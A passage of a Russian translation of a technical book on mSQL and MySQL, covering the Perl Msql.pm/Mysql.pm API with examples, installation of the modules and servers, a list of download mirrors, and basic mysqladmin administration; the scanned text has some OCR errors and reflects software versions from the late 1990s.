    print "B 'mytable' содержится $numrows строк данных\n";

    Msql::Statement::table

    @tables = $statement_handle->table;

    Msql: :Statement: : table возвращает список таблиц, связанных с колонками данных, содержащимися в описателе команды. (См. выше в Msql: : Statement: : isnum пример использования ссылки на массив.) Даже если запрос использовал только одну таблицу, для каждой колонки есть один элемент. Побочным эффектом является то, что скалярное значение массива, возвращаемого $statement_handle->table , совпадает со значением $statement_handle->numfields .

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query('select myothertable. name, myothertable.date,

    mythirdtable. name from myothertable, mythirdtable where myothertable. name

    = mythirdtable. name');

    my @tables = $output->table;

    # @tables содержит теперь ('myothertable', 'myothertable', 'mythirdtable')

    Msql::Statement::type

    @column_types = $statement_handle->type;

    Msql: : Statement: : type возвращает типы колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Сам по себе этот массив не очень интересен для большинства пользователей (в текущей реализации это массив целых чисел), однако эти значения можно сравнивать со встроенными значениями, определенными в Msql.pm, такими как &Msql: : CHAR_TYPE и &Msql: : INT_TYPE. Один из путей использования этих данных - создание массива с читаемыми названиями, соответствующими предустановленным типам. Этот метод был продемонстрирован в главе 10 "Perl". Другой способ показан ниже.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select name, date from myothertable");


    my ($name_type, $date_type) = $output->type;

    for ($name_type) {

    $_ eq &Msql: :CHAR_TYPE and do {

    print ''name является CHAR';

    last;

    } $_ eq &Msql::INT_TYPE and do {

    print 'name является INT'; last; } # и т.д....

    }

    # повторить для $date_type

    Msql::sock

    $sock = $db->sock;

    Msql:: sock возвращает скаляр, содержащий номер сокета, использованного для подключения к серверу mSQL. Обычно это полезно только при действительно изощренном программировании.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $sock = $db->sock;

    print "Я подключен к сокету $sock.\n";

    Msql::*_TYPE

    Msql.pm предоставляет следующие функции, соответствующие типам данных mSQL:

    &Msql::CHAR_TYPE &Msql::INT_TYPE &Msql::REAL_TYPE &Msql::IDENT_TYPE

    &Msql::TEXT_TYPE &Msql::IDX_TYPE &Msql::NULL_TYPE &Msql::DATE_TYPE

    &Msql::UINT_TYPE &Msql::MONEY_TYPE &Msql::TIME_TYPE &Msql::SYSVAR_TYPE

    Пример

    use Msql;

    %types = (

    'CHAR' => &Msql::GHAR_TYPE, 'INT' => &Msql::INT_TYPE, 'REAL' => &Msql::REAL_TYPE, 'SYSVAR' => &Msql::SYSVAR_TYPE, 'TIME' => &Msql::TIME_TYPE, 'MONEY' => &Msql::MONEY_TYPE, 'UINT' => &Msql::UINT_TYPE, 'TEXT' => &Msql::TEXT_TYPE, 'NULL' => &Msql::NULL_TYPE, 'DATE' => &Msql::DATE_TYPE, 'IDENT' => &Msql::IDENT_TYPE, 'IDX' => &Msql::IDX_TYPE,

    );

    # $types{'CHAR'} является теперь легкодоступным псевдонимом для

    # &Msql::CHAR_TYPE. Наличие значений в %types дает доступ ко всем

    # удобным функциям работы с хешами, такими как keys() и values().

    $Msql::VERSION

    В переменной $Msql:: VERSION содержится номер версии модуля Msql.pm.

    Пример

    use Msql;

    print "Вы используете Msql.pm версии $Msql::VERSION.\n";



    Mysql.pm API

    Mysql.pm API идентичен Msql API (с заменой всюду "Msql" на "Mysql"), за исключением следующих отличий:

    Mysql::connect

    $db = Mysql->connect($host, Sdatabase, $user, $password);

    Помимо трех методов соединения, совпадающих с Msql: :connect , в Mysql:: connect есть четвертый метод, требующий передачи пароля в качестве дополнительного аргумента. Первый аргумент - имя узла или IP-адрес сервера MySQL. Если в качестве этого аргумента передается undef, модуль соединяется с сонетом Unix на локальном узле. Второй аргумент является именем первоначально выбираемой базы данных. Его всегда можно впоследствии изменить с помощью Mysql: :selectdb . Можно передать undef в качестве второго аргумента, чтобы не выбирать исходной базы данных. Третий аргумент является именем пользователя для соединения с базой данных. Для успешного соединения имя пользователя должно присутствовать в таблицах доступа MySQL. Последний аргумент является паролем пользователя.

    Пример

    use Mysql;

    $db = Mysql->connect(undef,'mydata','webuser1, 'super_secret_squirrel');

    # Теперь описатель базы данных соединен с локальным сервером MySQL и
    # использует базу данных 'mydata1.

    # Использовано имя пользователя 'webuser' для

    # соединения с паролем 'super_secret_squirrel'.

    Mysql::errno

    $error_number = $db->errno;

    Mysql: :errno возвращает код последней ошибки. Код соответствует сообщению об ошибке, возвращаемому Msql: : errmsg .

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata','webuser', 'super_secret_squirrel');

    # В этом запросе есть синтаксическая ошибка...
    my $output = $db->query( 'SELECT * from mydata');

    if (not $output) {

    print "Ошибка " . $output->errno . ": " . $output->errfnsg . "\n"; }

    Mysql::FIELD_TYPE_*

    Помимо функций типов данных Mysql: :TYPE_ *, идентичных функциям Msql::TYPE *, Mysql.pm предоставляет следующие дополнительные функции типов данных:

    &Mysql::FIELD_TYPE_BLOB &Mysql::FIELD_TYPE_CHAR &Mysql::FIELD_TYPE_DECIMAL &Mysql::FIELD_TYPE_DATE &Mysql::FIELD_TYPE_DATETIME &Mysql::FIELD_TYPEJ)OUBLE &Mysql::FIELD_TYPE_FLOAT &Mysql: : FIELD_TYPE_INT24 &Mysql::FIELD_TYPE_LONGLONG &Mysql::FIELD_TYPE_LONG_BLOB &Mysql::FIELD_TYPE_LONG &Mysql::FIELD_TYPE_MEDIUM_BLOB &Mysql::FIELD_TYPE_NULL &Mysql::FIELD_TYPE_SHORT &Mysql::FIELD_TYPE_STRING &Mysql::FIELD_TYPE_TIME &Mysql::FIELD_TYPE_TIMESTAMP &Mysql::FIELD_TYPE_TINY_BLOB &Mysql::FIELD_TYPE_VAR_STRING


    Пример

    use Mysql;

    my $db = Mysql->connect(undef, 'mydata');

    my Soutput = $db->query("SELECT name, data from myothertable");

    if ($output->type->[0] = &Mysql::FIELD_TYPE_STRING) {

    print "Name является STRING.\n"; }

    Mysql::Statement::affectedrows

    $number_of_affected_rows = $statement^handle->affectedrows;

    Msql: :Statement: : affectedrows возвращает число строк, обработанных запросом. Эта функция полезна, поскольку Mysql.pm возвращает описатель команды для запросов, не являющихся командами SELECT.

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata');

    my $output = $db->query("UPDATE mytable set name='bob' where

    name='joe'");

    print $output->affectedrows . " строк обновлено.\n";

    Mysql::Statement::info

    $info = $sth->info;

    Mysql: : Statement:: info возвращает дополнительные результаты некоторых запросов, для которых в Mysql.pm нет специальных функций, таких как ALTER TABLE и LOAD DATA INFILE . Например, при использовании LOAD DATA INFILE функция Mysql: : Statement:: info возвращает число вставленных записей, число удаленных, число пропущенных и число элементов, которые невозможно синтаксически разобрать.

    Пример

    use Mysql;

    $db = Mysql->connect(undef,'mydata');

    my $output = $db->query("LOAD DATA INFILE 'mydata.dat' INTO TABLE mytable");

    my $info = $output->info($output);

    print "Результат работы LOAD DATA: $info\n";

    Mysql::Statement::insertid

    $new_id = $statement_handle->insertid;

    Функция Mysql::Statement::insertid возвращает текущее значение поля auto_increment (если такое имеется) в таблице. Если в таблице нет поля auto_increment , она возвращает неопределенное значение undef.

    Пример

    use Mysql;

    my $db = Mysql->connect(undef,'mydata');

    my $output = $db->query(

    "INSERT into mytable (id, name, date) VALUES ('','bob', 'today')";

    my $new_id = $output->insertid;

    print "Bob был введен с ID, равным $new_id.\n";

    Установка

    Для использования интерфейсов mSQL и MySQL к модулям DataBase Dependent/DataBase Independent (DBI/DBD) или MsqlPerl и MysqlPerl необходимо иметь следующие компоненты:

    Perl 5

    В вашей системе должны быть установлены работающие экземпляры Perl 5. Ко времени написания этой книги последний релиз Perl имел номер 5.005_02. Следует пользоваться по меньшей мере Perl 5.004, поскольку в более ранних версиях были ошибки, связанные с защитой. Более подробные сведения о Perl, включая адреса для загрузки, можно найти по адресу: http://www.perl.com.

    DBI

    Независимую от базы данных часть модуля DBI/DBD можно загрузить из Comprehensive Perl Archive Network (CPAN). На момент написания книги последней версией был DBI-0.90. Он находится на http://www.perl.com/CPAN/authors/id/TIMB/DBI/DBI-l.06.tar.gz.

    Data::ShowTable

    Модуль Data::ShowTable упрощает отображение больших объемов данных. Это требуется для модулей Msql-Mysql. Последняя версия - Data-ShowTable-З.З, ее можно найти по адресу: http://www.perl.com/CPAN/authors/id/AKSTE/Data-ShowTable-3.3.tar.gz.

    mSQL и /или MySQL

    В главе 3 "Установка" подробно рассказано о том, как получить и установить серверы баз данных mSQL и MySQL.

    Компилятор С и сопутствующие средства

    Для модулей MsqlPerl и MysqlPerl необходим ANSI-совместимый компилятор С, а также обычные сопутствующие средства, такие как make, Id и т. д. Вам должно хватить тех средств, с помощью которых вы собрали Perl. Если у вас нет этих инструментов, компилятор GNU С и все необходимые поддерживающие программы можно бесплатно получить на ftp://ftp.gnu.org/pub/gnu/.

    В настоящее время модули Msql-Mysql поддерживает Йохен Видман (Jochen Wiedmann), чье ID в CPAN выглядит как JWIED. Поэтому текущие модули Msql-Mysql всегда можно найти на http://www.perl.com/ authors/id/ JWIED. На момент написания книги текущей версией была Msql-Mysql-modules-1.2017.tar.gz.

    После загрузки пакета разархивируйте его:

    tar xvzf Msql-Mysql-modules-1.2017.tar.gz
    cd Msql-Mysql-modules-1.2017


    В каталоге дистрибутива есть файл INSTALL, содержащий несколько советов по установке. Сначала нужно выполнить файл Makefile.PL:

    perl Makefile.PL

    Эта команда сначала спрашивает, желаете ли вы установить модули для mSQL, MySQL или те и другие. Можно установить модули для любого установленного вами сервера баз данных.

    После проверки системы программа запрашивает местоположение установки mSQL. Это каталог, содержащий подкаталоги lib и include, в которых расположены библиотеки и включаемые файлы mSQL. По умолчанию этим каталогом является /usr/local /Hughes, но обязательно проверьте это, поскольку во многих системах используется /usr/local или даже /usr/local/Minerva.

    Затем сценарий установки запрашивает путь к MySQL. Как и в случае mSQL, это каталог, содержащий надлежащие подкаталоги lib и include, по умолчанию - /usr/local. Это расположение верно для большинства установок, но следует обязательно проверить, не используются ли другие каталоги.

    После установки сценарий создает соответствующие make-файлы и завершается. Затем нужно запустить make и скомпилировать файлы.

    make

    Если вы правильно установили Perl, mSQL и/или MySQL, то команда make должна пройти без ошибок. После завершения ее работы будут созданы все модули, и единственное, что останется - это протестировать и установить их.

    make test

    Во время выполнения по экрану пробегает ряд отладочных имен, за каждым из которых должно следовать . . . ok. И наконец, нужно установить модули.

    make install

    У вас должно быть разрешение записи в каталог установки Perl. Кроме того, необходимо иметь разрешение на запись в системный каталог для программ (обычно /usr/local/bin или /usr/bin), чтобы установить поставляемые с модулем вспомогательные программы pmsql, pmysql и dbimon.



    Установка

    Подобно большинству сервисов, СУБД MySQL и mSQL работают как фоновые процессы, в Unix-системах называемые также демонами. В данной главе обсуждается процесс их распаковки и установки.



    MSQL

    Первым шагом в установке mSQL является получение дистрибутива исходного кода. На момент написания этой книги самые новые версии mSQL распределялись только с веб-страницы Hughes Technology на http://www.hughes.com.avl. Автор mSQL предпочел официально не распространять двоичные дистрибутивы mSQL. Если на вашей машине нет компилятора С, то вам следует либо установить его, либо скомпилировать на такой же машине с той же операционной системой и перенести результат.

    Полученный дистрибутив с исходным кодом mSQL распакуйте командой:

    gunzip - с msql-2.0.4.1.tar.gz | tar xvf -

    В результате в рабочем каталоге будет образован каталог с именем msq 1-2.0.4.1. Перейдите в него.

    Создайте на своей машине инсталляционный каталог командой:

    make target

    Теперь перейдите в каталог targets. В нем должен быть новый каталог с названием вашей операционной системы и платформы, например, Solaris-2.6-Spare или Linux-2.0. 33-1386. Перейдите в этот каталог.

    В рабочем каталоге запустите сценарий setup. Лучше запустите его как . /setup, чтобы командный процессор не запустил программу setup из какого-нибудь другого каталога. Сценарий сконфигурирует исходный код для компиляции. После выполнения сценария рассмотрите файл site.mm и измените необходимые параметры для настройки своей локальной установки. В частности, вы, возможно, захотите изменить переменную INST_DIR, задающую каталог, в который устанавливается mSQL. Если конфигурация вас устраивает, для компиляции mSQL выполните команду:

    make all

    После компиляции установите mSQL в выбранный вами каталог с помощью команды:

    make install

    Вся последовательность шагов при инсталляции выглядит следующим образом:

    gzip - с msql-x.x.x.tar.gz tar xvf -

    cd msql-x.x.x

    make target

    cd targets/myOS-mymachine

    ./setup

    make all

    make install

    MySQL

    Прежде чем начать установку MySQL, нужно ответить на пару вопросов.

  • Собираетесь ли вы устанавливать MySQL как пользователь root или какой-либо другой пользователь?

    MySQL не требует для своей работы прав суперпользователя, но при установке с правами root вы даете каждому пользователю вашей системы доступ к одному экземпляру программы. Если у вас нет прав суперпользователя, установку придется произвести в свой исходный каталог. Однако, даже если вы установите MySQL как суперпользователь, лучше запускать под другим логином. Благодаря этому данные вашей базы данных можно защитить от других пользователей, установив для конкретных пользователей MySQL права только чтения файлов данных. Кроме того, при компрометации защиты базы данных нарушитель получает доступ только к учетной записи отдельного пользователя MySQL, не имеющей привилегий за пределами базы данных.

  • Будете ли вы устанавливать MySQL из исходного кода или откомпилированных модулей?

    Имеется много откомпилированных двоичных пакетов MySQL. Это экономит время, но уменьшает возможности настройки при установке. Для установки из исходного кода вам потребуется компилятор С и другие инструменты разработчика. Если они у вас имеются, то преимущества установки из исходного кода обычно перевешивают мелкие неудобства.

    MySQLЭти два вопроса взаимосвязаны. При установке из двоичного пакета вы должны быть зарегистрированы как root. Установка из двоичного пакета использует некоторые данные о путях, зашитые в двоичные файлы, что вынуждает вас регистрироваться при установке как тот, кто создал прекомпилирован-ный пакет. MySQL позволяет задать параметры командной строки, переопределяющие эти пути, но обычно меньше хлопот доставляет установка из исходного кода.

    В любом случае сначала необходимо получить дистрибутив.

    Таблица 3-1. Список серверов Интернета, с которых можно взять экземпляр исходного кода или двоичных файлов MySQL



    Азия


    Корея


    KREONet


    http://linux.kreonet.re.hr/mysql/


    Япония


    Soft Agency


    http://www.softagency.co.jp/MySQL/





    Nagoya Syouka University


    http://mirror.nucba.ac.jp/mirror/mysql/





    Nagoya Syouka University


    ftp://mirror.nucba.ac.jp/mirror/ mysql/





    HappySize


    http://www.happysize.co.jp/mysql/





    HappySize


    ftp://ftp.happysize.co.jp/pub/mysql/


    Сингапур


    HJC


    http://mysql.hjc.edu.sg/





    HJC


    ftp://ftp.hjc.edu.sg/mysql/


    Тайвань


    NCTU


    http://mysql.taconet.com.tw/





    TTN


    http://mysql.ttn.net


    Австралия


    Австралия


    AARNet/Queensland


    http://mirror.aarnet.edu.au/mysql/





    AARNet/Queensland


    ftp://mirror.aarnet.edu.au/pub/ mysql/





    Blue Planet/Melbourne


    http://mysql.bluep.com





    Blue Planet/Melbourne


    ftp://mysql.bluep.com/pub/mirrorl/ mysql/





    Tas


    http://ftp.tas.gov.au/mysql/





    Tas


    ftp://ftp.tas.gov.au/pub/mysql/


    Африка


    Южная Африка


    The Internet Solution/ Johannesburg


    ftp://ftp.is.co.za/linux/mysql/

    <


    Европа



    Австрия



    University of Technology/Vienna



    http://gd.tuwien.ac.at/db/mysql/







    University of Technology/Vienna



    ftp://gd.tuwien.ac.at/db/mysql/



    Болгария



    Naturella



    ftp://ftp.ntrl.net/pub/mirror/mysql/



    Дания



    Ake



    http://mysql.ake.dk







    SunSITE



    http://sunsite.auc.dk/mysql/







    SunSITE



    ftp://sunsite.auc.dk/pub/databases/ mysql/



    Эстония



    Tradenet



    http://mysql.tradenet.ee



    Финляндия



    EUnet



    http://mysql.eunet.fi



    Франция



    Minet



    http://www.minet.net/devel/mysql/



    Германия



    Bonn University, Bonn



    http://www.wipol.uni-bonn.de/ MySQL/







    Bonn University, Bonn



    http://www.wipol.uni-bonn.de/ MySQL/







    Wolfenbuettel



    http://www.fh-wolfenbuettel.de/ftp/ pub/database/ mysql/







    Wolfenbuettel



    ftp://ftp.fh-wolfenbuettel.de/pub/ database/ mysql/







    Staufen



    http://mysql.staufen.de



    Греция



    NTUA, Athens



    http://www.ntua.gr/mysql/







    NTUA, Athens



    ftp://ftp.ntua.gr/pub/databases/



    Венгрия



    Xenia



    http://xenia.sote.hu/ftp/mirrors/







    Xenia



    ftp://xenia.sote.hu/pub/mirrors/



    Израиль



    Netvision



    http://mysql.netvision.net.il



    Италия



    Teta Srl



    http://www.teta.it/mysql/



    Польша



    Sunsite



    http://sunsite.icm.edu.pl/mysql/







    Sunsite



    ftp://sunsite.icm.edu.pl/pub/unix/



    Португалия



    lerianet



    http://mysql.leirianet.pt







    lerianet



    ftp://ftp.leirianet.pt/pub/mysql/



    Россия



    DirectNet



    http://mysql.directnet.ru







    IZHCOM



    http://mysql.udm.net







    IZHCOM



    http://mysql.udm.net



    Румыния



    Bucharest



    http://www.lbi.ro/MySQL/







    Bucharest



    ftp://ftp.lbi.ro/mirrors/ftp.tcx.se







    Timisoara



    http://www.dnttm.ro/mysql/







    Timisoara



    ftp://ftp.dnttm.ro/pub/mysql



    Швеция



    Sunet



    http://ftp.sunet.se/pub/unix/ databases/ relational/ my sql/







    Sunet



    ftp://ftp.dnttm.ro/pub/mysql







    тcх



    http://www.tcx.se







    тcх



    ftp://www.tcx.se







    тcх



    http://www.mysql.com (Primary Site)







    тcх



    ftp://ftp.mysql.com (Primary Site)



    Англия



    Omnipotent/UK



    http://mysql.omnipotent.net







    Omnipotent/UK



    ftp://mysql.omnipotent.net







    PHG/UK



    http://ftp.plig.org/pub/mysql/







    PliG/UK



    ftp://ftp.plig.org/pub/mysql/



    Украина



    РАСО



    http://mysql.paco.net.ua







    РАСО



    ftp://mysql.paco.net.ua



    Северная Америка



    Канада



    Tryc



    http://web.tryc.on.ca/mysql/



    США



    Circle Net/North Carolina



    http://www.mysql.net







    DIGEX



    ftp://ftp.digex.net/pub/database/







    Gina net/Florida



    http://www.gina.net/mysql/







    Hurricane Electric/San Jose



    http://mysql.he.net







    Netcasting/West Coast



    ftp://ftp.netcasting.net/pub/mysql/







    Phoenix



    http://phoenix.acs.ttu.edu/mysql/







    pingzero/Los Angeles



    http://mysql.pingzero.net



    Южная Америка



    Чили



    Amerikanclaris



    http://www.labs.amerikanclaris.cl/







    vision



    http://mysql.vision.cl

    <


    Подключившись к серверу FTP, войдите в каталог Downloads. В нем будут перечислены несколько версий MySQL, например:

    MySQL-3.21

    MySQL-3.22

    MySQL-3.23

    Самый высокий номер версии соответствует нестабильному выпуску, в котором производится добавление и проверка новых характеристик. Отдельные подверсии его будут иметь пометки 'alpha', 'beta' или 'gamma'. Предыдущая версия является текущей стабильной версией. Эта версия тщательно проверена и считается свободной от ошибок. Доступны также более ранние архивные версии.

    Если разрабатываемая версия находится на этапе 'alpha', вам определенно следует придерживаться стабильной версии, если только вы не любитель острых ощущений. В случае когда разрабатываемая версия находится на стадии 'beta', возможно, следует выбрать предыдущую версию, если только в новой версии нет крайне необходимых для вас характеристик или устойчивость системы, на которой вы работаете, не очень критична. С другой стороны, версией 'gamma' можно уверенно пользоваться при отсутствии в ней известных конфликтов с вашей системой.

    Вы можете точно проверить, на какой стадии находится конкретная версия MySQL, перейдя в ее каталог. Например, каталог MySQL-3.22 может выглядеть следующим образом:

    mysql-3.22.19-beta-sgi-irix6,4-mip.tgz

    mysql-3.22.21a-beta-ibm-aix4.2.1.0-rs6000.tgz

    mysql-3.22.31-pc-linux-gnu-i586.tgz

    mysql-3.22.33-sun-solaris2.6-sparc.tgz

    mysql-3.22.33.tar.gz

    Файлы, имена которых включают названия машин и операционных систем, являются двоичными версиями для этих систем. Если название машины не указано, как в последней строке, то это исходный код. Если к файлу не присоединена метка 'alpha', 'beta' или 'gamma' - это стабильная версия. Что касается двух последних файлов списка, то первый - откомпилированная версия для Sun Solaris на машине Spare, а последний - исходный код. Прочие, более старые версии существуют, поскольку у команды разработчиков не всегда есть время и возможность откомпилировать каждую подверсию MySQL на каждой существующей операционной системе и аппаратной конфигурации. В действительности, большая часть прекомпилированных версий предоставлена обычными пользователями, которым удалось успешно откомпилировать последнюю версию на своей системе.


    Зная это, вы можете теперь выбрать версию MySQL, которую хотите использовать, и загрузить исходный код, если собираетесь компилировать MySQL, или двоичный дистрибутив для вашей машины, если он существует. Когда отсутствует двоичный дистрибутив, точно соответствующий вашей конфигурации, проверьте, нет ли его для слегка отличной конфигурации. Например, mysql-3.22.32a-ibm-aix4.2.1.0-powerpc.tgz может работать также на версии AIX 4.1.4 на том же типе машин. Если вы не можете таким образом подобрать работающую версию, попробуйте поискать в более старых версиях MySQL. Если и это не удастся, придется компилировать исходный код. В случае успешной компиляции и запуска MySQL можно предоставить откомпилированные двоичные файлы команде разработчиков MySQL для включения в архив.

    Установка из исходного кода

    Загрузив дистрибутив с исходным кодом, распакуйте архив с помощью команды:

    gunzip - с mysql-x.xx.xx.tar.gz | tar xvf -

    где mysql-x. xx. xx . tar. gz - имя загруженного вами файла. В результате в рабочем каталоге будет создан каталог mysql-x. xx. xx. Перейдите в него. Запустите сценарий configure в рабочем каталоге. Вызовите его как . /configure, чтобы случайно не запустить программу с тем же именем, находящуюся где-либо в другом месте. Во многих случаях установка прекрасно проходит без задания каких-либо параметров, но при возникновении трудностей можно использовать многочисленные параметры, информацию о которых можно вывести на экран, задав ключ -help. Вот наиболее употребительные:

    --without-server

    В результате компилируются все имеющиеся клиенты MySQL, но не сервер.

    -prefix

    Устанавливается каталог инсталляции, отличный от каталога по умолчанию (/usr/ local/ ).

    -with-low-memory

    Эта опция запрещает компилятору использовать некоторые виды оптимизации, требующие много памяти при компиляции. С ее помощью устраняется большинство ошибок, связанных с нехваткой памяти при компиляции.

    -localstatedir

    Используется для назначения каталога для файлов базы данных, отличающегося от принятого по умолчанию (/usr/local/var).


    -with-charset

    Используется для выбора набора символов, отличного от принятого по умолчанию (lati.nl). На момент написания книги доступны наборы символов big5, danish, cp1251, cp1257, croat, czech, dec8, dos,

    euc_kr, germanl, Hebrew, hp8, hungarian, koi8_ru, koi8_ukr, latin1, Iatin2, swe7, usa7, win1251, win1251u, kr, ujis, sjis, tis620.

    После завершения выполнения сценария configure запустите make в рабочем каталоге. В результате будет произведена полная компиляция.

    По завершении компиляции команда make install установит все в нужное место.

    Если вы впервые устанавливаете на данной машине MySQL или все файлы баз данных MySQL были удалены после предыдущей инсталляции, выполните следующую команду, чтобы создать структуру баз данных и административные таблицы:

    ./scripts/mysql_install_db

    При этом запустится также демон сервера. Чтобы убедиться в том, что он работает, перейдите в инсталляционный каталог (по умолчанию / usr/local/) и введите команду:

    ./bin/mysqladmin version

    На экран будет выведено что-то, близкое к следующему:

    mysqladmin Ver 7.11 Distrib 3.22.23b, for linux on 1586

    TCX Datakonsult AB, by Monty

    Server version 3.22.23b-debug

    Protocol version 10

    Connection Localhost via UNIX socket

    UNIX socket /tmp/mysql.sock

    Uptime: 6 sec

    Threads: 1 Questions: 1 Slow queries: 0 Opens: 6 Flush tables: 1 Open

    tables: 2 Memory in use: 1093K Max memory used: 1093K

    Итак, последовательность шагов установки такова:

    gzip - с mysql-x.xx. xx. tar. gz | tar xvf -

    cd mysql-x.xx.xx

    ./configure

    make

    make install

    ./scripts/mysql_install_db

    ./bin/mysqladmin version

    Установка двоичного дистрибутива

    Загрузив двоичный дистрибутив, вы должны выбрать каталог для установки файлов MySQL. Чаще всего выбирается /usr/local/mysql, но это в значительной мере зависит от потребностей ваших пользователей, и имеющихся у вас прав доступа.

    Перейдите в каталог на уровень выше, чем тот, в котором вы хотите разместить дистрибутив MySQL. Например, если вы хотите использовать /usr/local/mysql, перейдите в /usr/local. Для распаковки дистрибутива выполните команду:


    gunzip - с /tmp/mysql-x.xx.xx-fflymac/line. tgz | tar xvf -

    Здесь /tmp - имя каталога, в который вы загрузили дистрибутив MySQL, a mysql-x.xx.xx-mymachine.tgz - имя загруженного файла.

    В результате в текущем каталоге будет создан каталог mysql-x.xx.xx mysql. Если вы хотите, чтобы файлы были просто в каталоге mysql, создайте связь:

    In - s mysql-x.xx.xx mysql

    Теперь проверьте, содержит ли двоичный пакет таблицы назначения прав доступа. Перейдите в каталог mysql/mysql. Если он не существует или пуст, вам придется создать таблицы самому. Вернитесь назад, на один уровень, в главный каталог установки mysql и выполните команду:

    scripts/mysql_install_db

    Эту команду нужно выполнить только один раз. Для запуска демона MySQL введите:

    bin/safe_mysqld --log &

    Чтобы убедиться, что демон правильно работает, введите:

    bin/mysqladmin version

    Ответ должен быть примерно таким:

    Mysqladmin Ver 6.3 Distrib 3.21.33, for sun-solaris2.6 on spare

    TCX Datakonsult AB, by Monty

    Server version 3.21.17-alpha

    Protocol version 10

    Connection Localhost via UNIX socket

    TCP Port 3333

    UNIX socket /tmp/mysql.sock

    Uptime: 13 sec

    Running threads: 1 Questions: 20 Reloads: 2 Open Tables: 3



    Администрирование базы данных

    Теперь, когда у вас есть свежеустановленная и запущенная MySQL, нужно первым делом поменять пароль суперпользователя сервера, выполнив из каталога, в который установлена MySQL, команду:

    ./bin/mysqladmin -u root password 'mynewpasswd'

    При работающей и защищенной MySQL вы можете заняться некоторыми начальными задачами администрирования, чтобы MySQL смогла начать вам служить.

    Утилита mysqladmin

    Главным инструментом администрирования баз данных в MySQL служит утилита mysqladmin. С ее помощью вы можете создавать, уничтожать и контролировать свой сервер и поддерживаемые им базы данных.

    Создание баз данных

    Ваш сервер бесполезен, пока нет баз данных, которые он обслуживает. С помощью mysqladmin можно создавать новые базы данных:

    mysqladmin -p create DATABASENAME

    Параметр -р указывает, что вы хотите, чтобы было выдано приглашение для ввода пароля суперпользователя, который вы задали раньше. Если вы введете правильный пароль, то mysqladmin создаст новую пустую базу данных с именем, которое вы указали. Поскольку в MySQL база данных - это каталог с группой файлов, команда mysqladmin create создает новый каталог, который будет содержать файлы базы данных. Например, если вы создали базу данных с именем "mydata", в каталоге data, содержащемся в директории, в которую установлена MySQL, будет создан каталог mydata.

    Администрирование базы данныхПоскольку базы данных и таблицы MySQL хранятся как файлы файловой системы, вы столкнетесь с неприятными различиями -в поведении реализаций для Unix и Win32. Именно, все файловые системы для Win32 нечувствительны к регистру, в то время как файловые системы Unix различают регистр. В результате имена баз данных и таблиц различаются по регистру в Unix и не различаются в Win32.

    Удаление базы данных

    В процессе разработки приложения вам, вероятно, потребуется создать несколько баз данных для поддержки процесса разработки. Например, обычной практикой в разработке приложений баз данных является создание отдельных баз данных для разработки, тестирования и работы. По завершении разработки следует избавиться от этих промежуточных баз данных. Утилита mysqladmin позволяет удалить базу данных с помощью параметра "drop":


    mysqladmin -p drop DATABASENAME

    Как и в команде mysqladmin create, DATABASENAME является именем базы данных, которую нужно уничтожить. MySQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге data больше нет каталога, служившего ранее этой базой данных.

    Переименование и копирование баз данных

    В MySQL нет утилиты для переименования и копирования баз данных. Поскольку база данных - это просто файлы в некотором каталоге, можно, соблюдая осторожность, переименовывать и копировать базы данных с помощью операционной системы. Хотя использование команд операционной системы позволяет переименовывать и копировать базы данных, результат не сохранит параметров защиты исходных таблиц, поскольку MySQL хранит данные по защите в таблице системной базы данных. Для того чтобы полностью скопировать базу данных, вам потребуется также продублировать ее информацию по защите, хранимую в системной базе данных MySQL. Мы подробнее рассмотрим систему защиты MySQL далее в этой главе.

    Состояние сервера

    В утилите mysqladmin очень много команд, позволяющих контролировать состояние сервера MySQL. Ввод команды mysqladmin status обеспечивает выдачу состояния сервера в одной строке, которая выглядит следующим образом:

    Uptime: 395 Threads: 1 Questions: 14 Slow queries: 0

    Opens: 10 Flush tables: 1 Open tables: 6

    Выводимые величины означают следующее: Uptime

    Число секунд, в течение которых сервер запущен и работает. Threads

    Число потоков, взаимодействующих с базой в данный момент. Вы всегда увидите хотя бы один поток - тот, который подсчитывает все остальные потоки. Сервер имеет также три других потока, невидимых данной команде, - один обрабатывает сигналы, другой управляет всеми другими потоками и третий ждет входящих соединений.

    Questions

    Число запросов, переданных базе данных с момента запуска.


    Slow queries

    Число запросов, выполнение которых потребовало больше времени, чем время, указанное в конфигурации. Соответствующий ключ в конфигурации - long_query_tiroe . Мы рассмотрим параметры конфигурации далее в этой главе.

    Opens

    Число таблиц, открытых с момента запуска сервера.

    Flush tables

    Количество команд flush, refresh и reload.

    Open tables

    Число таблиц, открытых в данный момент. Поскольку MySQL мно-гопоточна, каждая таблица одновременно может быть открыта несколько раз. Например, можно одновременно выполнять любое число команд SELECT по одной и той же таблице. По этой причине число открытых таблиц может быть больше, чем общее число таблиц в системе.

    Если компиляция MySQL производилась с параметром --with-debug , то mysqladmin status показывает также текущую и максимальную величину используемой памяти.

    Если вас интересует более общая статическая информация, то выполните команду mysqladmin version. Она выдает на экран следующее:

    bin/mysqladmin Ver 7.8 Distrib 3.22.17, for sun-solaris2.6 on spare TCX Datakonsult AB, by Monty

    Server version 3.22.17

    Protocol version 10

    Connection Localhost via Unix socket

    Unix socket /tmp/;ny3ql. sock

    Uptime: 23 mm 58 sec

    Threads: 1 Questions: 15 Slow queries: 0 Opens: 10 Flush tables: 1 Open tables: 6

    Последняя строка совпадает, конечно, с теми данными, которые показывает mysqladmin status. Остальные данные совершенно другие.

    Server version

    Версия запущенного сервера MySQL. Protocol version

    Версия коммуникационного протокола MySQL, который поддерживает сервер. Если у вас возникли трудности с инструментарием, который использует коммуникационный протокол MySQL, вы можете сравнить это значение с тем, которое ожидает ваша программа.

    Connection

    Метод подключения к серверу. В нашем примере клиент общается с MySQL через сокет Unix. Если вы обращаетесь к удаленному серверу, в этой позиции будет имя машины, с которой вы подключились.

    Unix socket

    Имя файла сокета, который вы используете для обмена данными с сервером. Если вы связываетесь с MySQL через TCP/IP, вместо этого пункта будет указан пункт TCP port с номером порта MySQL.


    Uptime

    Суммарное время работы сервера.

